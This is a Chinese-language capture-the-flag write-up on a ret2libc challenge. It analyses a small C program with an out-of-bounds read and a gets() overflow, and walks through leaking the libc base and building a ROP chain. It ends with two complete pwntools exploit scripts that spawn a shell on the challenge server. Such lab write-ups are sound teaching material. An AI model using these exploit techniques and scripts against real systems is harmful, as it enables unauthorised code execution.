# ret2libc(b33f adv_pwn) > Author: 堇姬Naup ## 一些工具 ``` sudo docker-compose up -d sudo docker exec -it 2e8beb8e16d5 /bin/sh ldd <binary> sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/libc.so.6 . sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 . ``` 找libc offset libc_leak-libc_base(vmmap)=offset ![image](https://hackmd.io/_uploads/rJ28ex0QC.png) libc offset: https://libc.blukat.me/ https://github.com/scwuaptx/Pwngdb version: Ubuntu 16.04: Glibc 2.23 Ubuntu 18.04: Glibc 2.27 Ubuntu 20.04: Glibc 2.31 Ubuntu 22.04: Glibc 2.35 ## What is ret2libc - 倘若能得知 library 被 map 到的隨機起始地址 (base address),則可以計算出 libc 中 function 的位置,便能調⽤ library 中的函式。 - 關鍵為 bypass ASLR,找出 libc 的隨機 base - 透過 information leak 漏洞,洩漏 memory 上的內容,獲取屬於 libcsegment 的 address - 此 address 會是隨機的 base address 加上⼀固定位移植 ofset (不同版本的 libc ofset 不同) ![image](https://hackmd.io/_uploads/ByW3BbImC.png) ## libc base 通常開頭`7f`,結尾`e80` ## 題目 ### 知道libc 他說他Dockerfile裡面用Ubuntu 22.04 所以libc版本是2.35 ### checksec ![image](https://hackmd.io/_uploads/BkxbC5dQR.png) ### source code分析 ```c #include <stdio.h> int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char buf[0x20]; long long nums[10]; puts("My little database (Under construction)"); while (1) { puts("1. Change number"); puts("2. See the number"); puts("3. Exit"); int choice = 0; int idx = 0; scanf("%d", &choice); switch (choice) { case 1: puts("Enter the index (0-9):"); scanf("%d", &idx); if (idx >= 0 && idx < 10) { puts("Enter the number:"); scanf("%lld", &nums[idx]); } else { puts("Invalid index!"); } break; case 2: puts("Enter the index (0-9):"); scanf("%d", &idx); printf("The number is %lld\n", nums[idx]); break; case 3: puts("Bye!"); goto end; default: puts("Invalid choice!"); break; } } end: puts( "Since it's under development, please leave your feedback before you " "go!"); getchar(); gets(buf); return 0; } ``` ### 開始解 首先因為有ASLR,所以要找出libc base ```c= case 2: puts("Enter the index (0-9):"); scanf("%d", &idx); printf("The number is %lld\n", nums[idx]); ``` 這裡有oob(簡單來說就是沒有對index檢查,arr[i] (int) = *(arr + i *sizeof(int)),輸入不在範圍的可以leak 任何記憶體) 嘗試輸入幾次後可以發現15會leak一個libc adress 接著用libc base扣掉他找offset libc leak: ![image](https://hackmd.io/_uploads/rkGzbeR7R.png) libc base: ![image](https://hackmd.io/_uploads/r1iyZxAXA.png) ``` >>> hex(0x7ffff7c29d90-0x7ffff7c00000) '0x29d90' ``` 找出offset 找libc裡面的/bin/sh ``` strings -a -t x <path to libc> | grep /bin/sh ``` ![image](https://hackmd.io/_uploads/Hy3P7g07C.png) 接下來要堆ROP(用libc裡面的,全部都要+libc base) |目標|地址| |---|---| |pop rdi ; ret|0x2a3e5| |/bin/sh|0x1d8678| |ret|0x2a3e5+0x1| |system|0x50d70| ![image](https://hackmd.io/_uploads/r1K9UgCmA.png) stack ``` AAAA...(0x20+0x8) pop rdi(libc) /bin/sh(libc) ret(libc) system(libc) ``` ### script ```python= from pwn import * context.arch='amd64' a=input('open debug?(y/n)') if a=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] b=input("local?(y/n)") if b=='y': r=process("./chal") else: r=remote("chall.nckuctf.org", 10009) r.sendline(b"2") r.sendline(b"15") r.recvuntil(b"The number is ") LEAK_LIBC=int(r.recv(15).decode()) OFFSET=0x29d90 print("LEAK-LIBC: ",hex(LEAK_LIBC)) LIBC_BASE=LEAK_LIBC-OFFSET print("LIBC_BASE",hex(LIBC_BASE)) ROP_libc={ "pop_rdi":0x2a3e5+LIBC_BASE, "binsh":0x1d8678+LIBC_BASE, "SYSTEM":0x50d70+LIBC_BASE, "ret":0x2a3e5+LIBC_BASE+0x1 } ROP_payload=flat(b"A"*(0x20+0x8),ROP_libc['pop_rdi'],ROP_libc['binsh'],ROP_libc['ret'],ROP_libc['SYSTEM']) r.sendline(b"3") r.sendlineafter(b"go!",ROP_payload) r.interactive() ``` ### 感謝 感謝國外隊友Tomer大老幫我釐清問題 順便附上他的解法 ```python= from pwn import * libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = ELF(libc) rop_libc = ROP(libc) SYSTEM_LIBC_OFFSET = libc.symbols["system"] BIN_SH = next(libc.search(b'/bin/sh')) RET_RDI = rop_libc.rdi.address RETN = rop_libc.retn.address DISTANCE_FROM_LIBC_BASE = 0x29D90 # con = process("./chal") con = remote("chall.nckuctf.org", 10009) con.writeline(b"2") con.writeline(b"15") con.readuntil(b"The number is ") leak = int(con.readline()[:-1]) libc_base = leak - DISTANCE_FROM_LIBC_BASE con.writeline(b"3") payload = cyclic(40) payload += p64(libc_base + RET_RDI) payload += p64(libc_base + BIN_SH) payload += p64(libc_base + RETN) payload += p64(libc_base + SYSTEM_LIBC_OFFSET) con.writeline(payload) con.interactive() ``` ## 一些資料 https://hackmd.io/@u1f383/S1CNu-1SO https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc